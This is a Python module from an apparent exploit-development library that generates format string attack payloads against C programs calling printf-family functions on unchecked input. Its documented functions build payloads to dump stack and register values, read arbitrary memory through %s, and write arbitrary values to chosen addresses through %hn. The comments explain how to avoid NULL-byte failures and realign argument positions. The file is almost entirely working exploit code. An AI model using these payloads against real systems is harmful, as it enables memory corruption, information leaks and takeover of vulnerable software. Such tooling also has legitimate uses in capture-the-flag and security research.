"""
Exploit C-style format string vulnerabilities

These techniques leverage functions such as printf, fprintf, sprintf, etc. when
run on unchecked user input to perform arbitrary memory read or write.  This is
made possible by the unintended use of user input as the function's format
string argument, instead of an ordinary data argument.  Attackers may inject
their own conversion specifiers, which act as operating instructions to the
function.  Interesting formatters include:

    %p      Read argument value.  These are the values of function argument
            registers and values from the stack.  The value is printed as
            hexadecimal (with leading "0x") and interprets values as unsigned
            long (aka, same size as arch.wordsize).

    %s      Read memory as asciiz string.  Prints the data pointed to by
            argument value.

    %c      Read argument as 8-bit character, printing the interpreted character
            value.  This formatter is useful in combination with a field width
            specifier in order to print a controlled number of bytes to the
            output, which is meaningful to the next formatter.

    %n      Write memory as integer.  Prints no output, but writes the number of
            characters printed so far to the location pointed to by the argument
            pointer.  A length modifier will control the bit-width of the
            integer written.

See `man 3 printf` for more details.
"""

from sploit.arch import arch, btoi, itob
from sploit.payload.payload import Payload
from sploit.payload.payload_entry import padalign, padrel

_FMTSTR_MAGIC = b"\xcd"

def _make_fmtstr_payload():
    # A typical layout will look like this:
    # b'%123c%10$hn%456c%11$hn\x00\x90\xde\xad\xbe\xef\xca\xfe\xba\xbe'
    #   ^          ^          ^   ^   ^               ^
    #   fmt[0]     fmt[1]     nul |   addrs[0]        addrs[1]
    #                             align
    #
    # Many examples found online will demo placing addresses at the front.  Eg:
    # b'\xde\xad\xbe\xef\xca\xfe\xba\xbe%123c%7$hn%456c%8$hn\x00'
    # This has the benefit that %n positional values are simple to calculate
    # (they just start at the payload position and increase by one).  However,
    # any NULL bytes in the addresses break the exploit, since printf will stop
    # processing its string once a NULL is encountered.
    #
    # Moving addresses to the end mitigates this.  Wordsize alignment is then
    # necessary to give for valid argument positions.  We also intentionally
    # NULL terminate the format string portion of the payload to prevent printf
    # from processing beyond formatters.
    fp = Payload()
    fp.fmt = Payload()
    fp.null = b"\x00"
    fp.align = padalign(arch.wordsize)
    fp.addrs = Payload()
    return fp

def _fixup_positionals(fp, position, offset=None):
    if offset is None:
        offset = fp.addrs.base // arch.wordsize

    fixup = _make_fmtstr_payload()
    fixup.addrs = fp.addrs

    for i, fmt in enumerate(fp.fmt):
        pos = position + offset + i
        fixup.fmt(fmt.decode().format(pos).encode())

    # String formatting positional values may grow the format string so much
    # as to cause the addrs offset to shift.  Detect this and correct.
    check = fixup.addrs.base // arch.wordsize
    if offset != check:
        return _fixup_positionals(fp, position, check)

    return fixup

def fmtstr_dump(start=None, end=None):
    """
    Return a format string payload which dumps annotated argument values.

    start (int): Starting argument position (default: 1)
    end (int): Ending argument position (default: start + 20)
    """
    if start is None: start = 1
    if end is None: end = start + 19 # inclusive, so 20 total arguments

    fp = Payload()
    fp.magic = padrel(arch.wordsize, _FMTSTR_MAGIC)
    fp.fmt = Payload()
    fp.null = b"\x00"

    for pos in range(start, end+1):
        if pos < len(arch.funcargs):
            label = arch.funcargs[pos]
        else:
            offset = (pos - len(arch.funcargs)) * arch.wordsize
            label = f"stack+{hex(offset)}"

        fp.fmt(f"({pos}$ {label}) %{pos}$p  ".encode())

    return fp

def fmtstr_get(*positions, join="  "):
    """
    Return a format string payload which prints specific argument values.

    positions (*int): Argument positions
    join (str): Delimiter string
    """
    fp = Payload()
    fp.fmt = Payload()
    fp.null = join

    for p in positions:
        fp.fmt(f"{join}%{p}$p".encode())

    return fp

def fmtstr_read(position, address):
    """
    Return a format string payload which reads data (as string, via %s).

    position (int): printf positional offset of payload on stack.
    address (int): Address of data to read.
    """
    fp = _make_fmtstr_payload()
    fp.fmt(b"%{}$s")
    fp.addrs(address)
    return _fixup_positionals(fp, position)

def fmtstr_write(position, _data, _value=None):
    """
    Return a format string payload which writes data.

    One option for calling this function is to give a write destination in _data
    as an integer, and the value to write in _value.

    Alternatively, _data may contain a dictionary, with write destinations as
    keys and contents to write as values.  _value is ignored in this case.

    In either case, the contents to write is generally expected to be bytes.
    However, integers are converted automatically via itob().

    position (int): printf positional offset of payload on stack.
    _data (int|dict{int:bytes}): Write data (see above)
    _value (int|bytes): Write value (see above)
    """
    # Convert from 2-argument style to dictionary.
    if type(_data) is int:
        _data = { _data: _value }

    pairs = {}

    # Collect each 2-byte word to write.
    for addr, value in _data.items():
        value = itob(value) if type(value) is int else bytes(value)
        words = [ value[i:i+2] for i in range(0, len(value), 2) ]
        words = { addr+(i*2): btoi(w) for i, w in enumerate(words) }
        pairs.update(words)

    fp = _make_fmtstr_payload()
    prev = 0

    # Craft writes.
    for addr, word in sorted(pairs.items(), key=lambda x: x[1]):
        diff = word - prev
        prev = word

        size = "" if diff == 0 else f"%{diff}c"
        fp.fmt(f"{size}%{{}}$hn".encode())
        fp.addrs(addr)

    return _fixup_positionals(fp, position)